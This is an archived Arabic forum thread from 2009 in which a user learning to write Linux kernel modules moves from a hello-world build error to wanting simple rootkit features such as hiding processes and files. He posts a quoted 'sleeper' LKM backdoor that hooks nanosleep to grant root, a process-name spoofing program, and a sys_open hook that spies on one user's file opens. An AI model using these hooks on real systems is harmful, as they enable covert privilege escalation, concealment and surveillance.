الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

خطأ عند تكوين Kernel Module

بدأه الاخير زمانه في 7 فبراير 2009 · 9 رد · 1,271 مشاهدة · في نظام تشغيل Unix & Linux
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكــم ورحمـة الله وبركاتــه

احاول تعلم كتابة kernel module ،،

نفذت اول برنامج من كتاب Linux Device Drivers

و الذي كان

#include <linux/init.h>

#include <linux/module.h>

MODULE_LICENSE("Dual BSD/GPL");



static int hello_init(void)

{

	printk(KERN_ALERT "Hello, world\n");

	return 0;

}



static void hello_exit(void)

{

	printk(KERN_ALERT "Goodbye, cruel world\n");

}



module_init(hello_init);

module_exit(hello_exit);

=====================



You can test the module with the insmod and rmmod utilities, as shown below. Note that only the superuser can load and unload a module.

% make

make[1]: Entering directory `/usr/src/linux-2.6.10'

  CC [M]  /home/ldd3/src/misc-modules/hello.o

  Building modules, stage 2.

  MODPOST

  CC	  /home/ldd3/src/misc-modules/hello.mod.o

  LD [M]  /home/ldd3/src/misc-modules/hello.ko

make[1]: Leaving directory `/usr/src/linux-2.6.10'

% su

root# insmod ./hello.ko

Hello, world

root# rmmod hello

Goodbye cruel world

root#

لكن يظهر لي خطأ كما في الصورة

post-47438-1233975454_thumb.jpg

--------------

انا لم اكون Makefile لانه في الكتاب لم يكون ،،

انا حاولت في مثال اخر مع ال makefile لكن ايضا ظهر لي خطأ

تم تعديل هذه المشاركة بواسطة الاخير زمانه في 7 فبراير 2009 في 06:13

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

#2

السلام عليكم

أخي زياد

في حل يسهل عليك موضوع كتابة makefile ، وهو استخدام kdevelop ، في الفرع الخاص بلغة C ، اختار kernel module

ثم اكتب البرنامج الذي تريده

ثم بعد ذلك نفذ الأوامر كما جاءت في الكتاب

ولن تجد مخرجات عندك في الشاشة ، لأن هذه المخرجات خاصة ب kernel ، ولكن ستجدها إذا نفذت الأمر dmesg ، حيث أنه عبارة عن logs for kernel ، طبعا يمكنك أن تقوم بعمل redirect لها لتظهر على الشاشة ، ولكن يفضل أن يكون لك جزء الخرج الخاص به.

ويمكن أن تستخدم modprobe.d أو modeprobe.conf، لتتحكم في الخيارات الخاصة بكل module ، ويمكن أن تنفذ بعض المهام بشكل تلقائي عند تحميل أو حذف أي module

أخي بالنسبة لرسالتك

rootkit لا يستطيع أن يتلاعب في الكرنل الذي يعمل حاليا ، ولا يستطيع إخفاء أي شيء عن kernel فهذا شيء غير منطقي ، ولكن ما يقوم به rootkit أنه يقوم بتعديل في مخرجات بعض الأوامر حتى لا يتم ظهوره ، فمثلا ، ستجد أن rootkit يتلاعب في أمر ps ، حتى لا يُظهر process الذي يوجد فيه rootkit ، أو يتلاعب في netstat حتى لايظهر port الذي يتصل به rootkit وهكذا.

أما الكرنل ، فيمكن أن يكون به rootkit ، وهو يكون على هيئةkernel module ، لذا يجب الحذر عن تحميل kernel module ، والتأكد من md5 قبل عملية التحميل.

System Engineer

Red Hat Certified Engineer

Red Hat Certificate Number

805010381752078

#3

و عليكم السلام ،،

اقتباس
في حل يسهل عليك موضوع كتابة makefile ، وهو استخدام kdevelop ، في الفرع الخاص بلغة C ، اختار kernel module

بالنسبة ل kdevelop غير منصبة على الابونتو ،،

قرأت عن الادوات الخاصة بمشاهدة و تحميل و حذف الموديل لكن المشكلة الان ان البرنامج لا يتنفذ.

يعني الامر على الابونتو لا يحتاج الى تحميل حزمة معينة؟؟

ياريت تصبر علي الى ان اتعلم شوي ،،

اقتباس
t لا يستطيع أن يتلاعب في الكرنل الذي يعمل حاليا ، ولا يستطيع إخفاء أي شيء عن kernel فهذا شيء غير منطقي

لم افهم ،، انا حسب ما قرأت ممكن عمل hook على ال system call للتلاعب ببعض الامور.

This section will present a very simple LKM rootkit, sleeper.o, that would overwrite
the sys_nanosleep syscall in order to execute the evil attacker code: changing
the privileges of the process using the rootkit to zero (root). This code, therefore,
implements a system LKM backdoor to get root access (see figure 3.2).

/*
* ‘‘sleeper’’ evil LKM
*
* Author: Raul Siles (GIAC GCUX certification paper)
*
*/
#define MODULE
#include <linux/module.h>
#include <linux/time.h>/* nanosleep arguments struct */
#include <sys/syscall.h>/* syscall definitions */
#include <linux/sched.h>/* current process */
extern void* sys_call_table[];
int (*official_nanosleep)(struct timespec *, struct timespec *);
int hacked_nanosleep(struct timespec *, struct timespec *);
int hacked_nanosleep(struct timespec *req, struct timespec *rem) {
if ( req->tv_sec == 666 ) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
return 0;
}
return (*official_nanosleep)(req, rem);
}
int init_module(void) {
official_nanosleep = sys_call_table[ SYS_nanosleep ];
sys_call_table[ SYS_nanosleep ] = (void *)hacked_nanosleep;
return 0;
}
void cleanup_module(void) {
sys_call_table[ SYS_nanosleep ] = (void *)official_nanosleep;
}
MODULE_LICENSE("GPL"); /* To avoid tainted warnings */

هل اطلعت اخي على هذا الكتاب

DESIGNING BSD ROOTKITS  

An Introduction to
Kernel Hacking

Chapter 1: Loadable Kernel Modules ................................................................................
1
Chapter 2: Hooking ................................................................................
......................23
Chapter 3: Direct Kernel Object Manipulation ..................................................................37
Chapter 4: Kernel Object Hooking ................................................................................
..59
Chapter 5: Run-Time Kernel Memory Patching ..................................................................63
Chapter 6: Putting It All Together........................................................................
.............91
Chapter 7: Detection ................................................................................
...................119

المشكلة انه يشرح بصورة مختلفة!!

اقتباس
أما الكرنل ، فيمكن أن يكون به rootkit ، وهو يكون على هيئةkernel module

هذا ما اريده انا بالضبط ،، اريد كتابة kernel module تقوم بعمل بسيط من اعمال الروت كت ،، مثلا hide process , hide file

اعرف معلوماتي قليلة جدا ،، لكن احاول التعلم

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

#4

السلام عليكم

أخي زياد

أنا معلوماتي عن kernel ليس كثيرة في الوقت الحالي ، وسأقول لك ما أعلمه

وأحب أن أشرح لك شيء قد يفيدك،

لو نظرنا إلى layers التي يتخطاها أي برنامج لتنفيذ مهمة معينة، فرضنا مثلا برنامج مكتوب بلغة C ، ويستخدم دوال C القياسية ، هذه الدوال تتحول إلى كتبت أصلا باستخدام system calls ، يعني عند تنفيذ البرنامج فإن الدوال القياسية تتحول إلى system calls ، وكل system call له interrupt number خاص به ، يرسله للكرنل أثناء تنفيذه، حيث أن kernel يستقبل هذا interrupt number ، ويبحث عنده عن interrupt handler يحمل هذا interrupt number ، ثم يقول kernel بتنفيذ هذا interrupt handler .

معلومة يجب أن تكون واضحة ، kernel لا يستخدم أبدا دوال C القياسية ولا حتى system call ، هو يستخدم الدوال التي ينشؤها هو بنفسه ، وتسمى kernel api .

فمجرد أنك عرفت هذه المعلومة البسيطة يمكن أن تقوم بالآتي:

أن تغير interrupt number لكل system call وهذا من خلال التعديل في libc .

أن تغير في interrupt handler الخاص بكل system call وهذا موجود في kernel

أن تقوم بعمل module من خلال kernel api ، يقوم بالعمل الذي تريد.

بالنسبة لإخفاء process ، فحسب ما أعلمه وأظنه ، أنه لا يتم من خلال التعديل في الكرنل ، حيث أنه أثناء تكون process جديد ، فإن kernel يحجز له address space ، في مكان محدد لكل process ، يعني لا تستطيع أن تحجز له address space في مكان آخر حسب رغبتك إلا من خلال تعديل رهيب في الكرنل ، ولا أظن هذا العمل عملي .

أيضا يجب أن تعلم شيء مهما ، لا تستطيع أن تخفي شيء عن الكرنل ، فلا تستطيع مثلا أن تخفي عنه process ، ولكن حتى تخفي process ، فأنت تتلاعب في شيئين حسب علمي،

الأول ، أنك ستعدل في برنامج مثل ps أو top ، حيث ستجعل البرنامج لا يظهر process الذي تريد إخفاءه، أو ستتلاعب في الجزء الذي يزود ps أو top بالمعلومات ، وهذا الجزء يوجد طبعا في kernel .

أيضا module الذي يعتبر rootkit ليس عبارة عن process ، لذا فأنت تكتشفه من خلال lsmod ، ومما لا شك فيه أن rootkit module سيعدل في طريقة تنفيذ lsmod حتى لا يظهره.

وتستطيع أن تكتشف rootkit process من خلال /proc

أما rootkit module فلا أدري حتى الآن ، ولكن لو أردت سأبحث لك عن هذا الأمر.

، بالنسبة للكتاب الذي ذكرته ، لم أقرأه.

ولكن لو عندك سؤال إسأل ، وسأحاول معك إن شاء الله.

أخي زياد ، هذا ما أعلمه وأفهمه عن الموضوع ، وقد يكون هناك بعض الأخطاء أو كثير من الأخطاء ، ولكني أبذل كل ما أستطيع لكي تكون معلوماتي صحيحة .

System Engineer

Red Hat Certified Engineer

Red Hat Certificate Number

805010381752078

#5

وعليكــم السـلام ورحمة الله وبركاتـه..

اقتباس
أنا معلوماتي عن kernel ليس كثيرة في الوقت الحالي

اذن تعلم معي :happy:

اقتباس
لو نظرنا إلى layers التي يتخطاها أي برنامج لتنفيذ مهمة معينة، فرضنا مثلا برنامج مكتوب بلغة C ، ويستخدم دوال C القياسية ، هذه الدوال تتحول إلى كتبت أصلا باستخدام system calls ، يعني عند تنفيذ البرنامج فإن الدوال القياسية تتحول إلى system calls ، وكل system call له interrupt number خاص به ، يرسله للكرنل أثناء تنفيذه، حيث أن kernel يستقبل هذا interrupt number ، ويبحث عنده عن interrupt handler يحمل هذا interrupt number ، ثم يقول kernel بتنفيذ هذا interrupt handler .

شكرا اخي على التوضيح ،، الامر مماثل لنظام ويندوز تقريبا.

اقتباس
لا تستطيع أن تخفي شيء عن الكرنل

انا اريد ان اخفي البروسيس عن ال user ، يعني عن برنامج ps مثلا

اقتباس
أو ستتلاعب في الجزء الذي يزود ps أو top بالمعلومات ، وهذا الجزء يوجد طبعا في kernel .

اظن ان هذا هو المطلوب ،، ففي نظام ويندوز كان يتم الامر بعمل hook على الدالة التي تزود ال Task Manager بأسماء البروسيس.

اقتباس
ولكن لو أردت سأبحث لك عن هذا الأمر.

لو كان لديك وقت انظر في المرفق.

اقتباس
بالنسبة للكتاب الذي ذكرته ، لم أقرأه

يبدو ان الكتاب جيد لكن المشكل انه يتكلم عن FreeBSD ،

طبعا انا لم اكن اعرف ما هو المقصود بهذا ، لكن بعد القراءة

FreeBSD is an advanced, open source operating system; with FreeBSD, you
have full, uninhibited access to the kernel source, making it easier to learn
systems programming

اخي برق انظر الى هذه طريقة لأخفاء بروسيس دون التلاعب في الكرنل ،، أمر غير مقنع -_-

Save this file as ‘‘gcux_tool.c’’, compile, execute it and check the process list:
- Compile it: $ gcc -o gcux_tool gcux_tool.c
- Execute it: $ ./gcux_tool &
- Check it: $ ps -ef | grep gcux | grep -v grep; ps -ef | grep giac | grep -v grep
#include <stdio.h>
#include <string.h>
int main(argc, argv)
int argc;
char **argv;
{
char *p;
for (p = argv[0]; *p; p++)
*p = 0;
strcpy(argv[0], "giac");
/* You have 60 seconds to see that ‘‘ps’’ reports "giac" as the process name */
sleep(60);
return(0);
}

اشكرك اخي على تواصلك

Linux_kernel_rootkits.rar

تم تعديل هذه المشاركة بواسطة الاخير زمانه في 10 فبراير 2009 في 03:45

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

#6

بالامس تمكنت من تنفيذ kernel module

فقط قمت بكتابة الامر بهذه الصورة و تنفذ البرنامج

 make -C /lib/modules/`uname -r`/build M=`pwd`

وجدت الحل هنا

http://ubuntuforums.org/showthread.php?t=800251

post-47438-1234227065_thumb.jpg

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

#7

بالامس قمت بتنفيذ module يقوم بعمل hook على system call معينة ويقوم بأستدعاء دالة بديلة ،،

عند عمل make الامر كان عادي لكن عندما حاولت احمل ال module

ظهر لي خطأ كما في الصورة

post-47438-1234426031_thumb.jpg

لا اعرف ما السبب ،، ممكن تكون حماية من اللينكس مثلا؟؟

الذي يبدو انه لا احد لديه معلومات هنا :(

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

#8

ممكن الكود؟

System Engineer

Red Hat Certified Engineer

Red Hat Certificate Number

805010381752078

#9

الكود مأخوذ من كتاب The Linux Kernel Module Programming Guide

الذي يبدو انه يعمل على كيرنل 2.4

لكن انا لم يظهر لي خطأ اثناء التنفيذ لكن المشكلة عند التحميل

/*
* syscall.c
*
* System call "stealing" sample.
*/
/*
* Copyright (C) 2001 by Peter Jay Salzman
*/
/*
* The necessary header files
*/
/*
* Standard in kernel modules
*/
#include <linux/kernel.h> /* We're doing kernel work */
#include <linux/module.h> /* Specifically, a module, */
#include <linux/moduleparam.h> /* which will have params */
#include <linux/unistd.h> /* The list of system calls */
/*
* For the current (process) structure, we need
* this to know who the current user is.
*/
#include <linux/sched.h>
#include <asm/uaccess.h>
/*
* The system call table (a table of functions). We
* just define this as external, and the kernel will
* fill it up for us when we are insmod'ed
*
* sys_call_table is no longer exported in 2.6.x kernels.
* If you really want to try this DANGEROUS module you will
* have to apply the supplied patch against your current kernel
* and recompile it.
*/
extern void *sys_call_table[];
/*
* UID we want to spy on − will be filled from the
* command line
*/
static int uid;
module_param(uid, int, 0644);
/*
* A pointer to the original system call. The reason
* we keep this, rather than call the original function
* (sys_open), is because somebody else might have
* replaced the system call before us. Note that this
* is not 100% safe, because if another module
* replaced sys_open before us, then when we're inserted
* we'll call the function in that module − and it
* might be removed before we are.
*
* Another reason for this is that we can't get sys_open.
* It's a static variable, so it is not exported.
*/
asmlinkage int (*original_call) (const char *, int, int);
/*
* The function we'll replace sys_open (the function
* called when you call the open system call) with. To
* find the exact prototype, with the number and type
* of arguments, we find the original function first
* (it's at fs/open.c).
*
* In theory, this means that we're tied to the
* current version of the kernel. In practice, the
* system calls almost never change (it would wreck havoc
* and require programs to be recompiled, since the system
* calls are the interface between the kernel and the
* processes).
*/
asmlinkage int our_sys_open(const char *filename, int flags, int mode)
{
int i = 0;
char ch;
/*
* Check if this is the user we're spying on
*/
if (uid == current−>uid) {
/*
* Report the file, if relevant
*/
printk("Opened file by %d: ", uid);
do {
get_user(ch, filename + i);
i++;
printk("%c", ch);
} while (ch != 0);
printk("\n");
}
/*
* Call the original sys_open − otherwise, we lose
* the ability to open files
*/
return original_call(filename, flags, mode);
}
/*
* Initialize the module − replace the system call
*/
int init_module()
{
/*
* Warning − too late for it now, but maybe for
* next time...
*/
printk(KERN_ALERT "I'm dangerous. I hope you did a ");
printk(KERN_ALERT "sync before you insmod'ed me.\n");
printk(KERN_ALERT "My counterpart, cleanup_module(), is even");
printk(KERN_ALERT "more dangerous. If\n");
printk(KERN_ALERT "you value your file system, it will ");
printk(KERN_ALERT "be \"sync; rmmod\" \n");
printk(KERN_ALERT "when you remove this module.\n");
/*
* Keep a pointer to the original function in
* original_call, and then replace the system call
* in the system call table with our_sys_open
*/
original_call = sys_call_table[__NR_open];
sys_call_table[__NR_open] = our_sys_open;
/*
* To get the address of the function for system
* call foo, go to sys_call_table[__NR_foo].
*/
printk(KERN_INFO "Spying on UID:%d\n", uid);
return 0;
}
/*
* Cleanup − unregister the appropriate file from /proc
*/
void cleanup_module()
{
/*
* Return the system call back to normal
*/
if (sys_call_table[__NR_open] != our_sys_open) {
printk(KERN_ALERT "Somebody else also played with the ");
printk(KERN_ALERT "open system call\n");
printk(KERN_ALERT "The system may be left in ");
printk(KERN_ALERT "an unstable state.\n");
}
sys_call_table[__NR_open] = original_call;
}

syscall.rar

تم تعديل هذه المشاركة بواسطة الاخير زمانه في 12 فبراير 2009 في 11:47

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

مواضيع مشابهة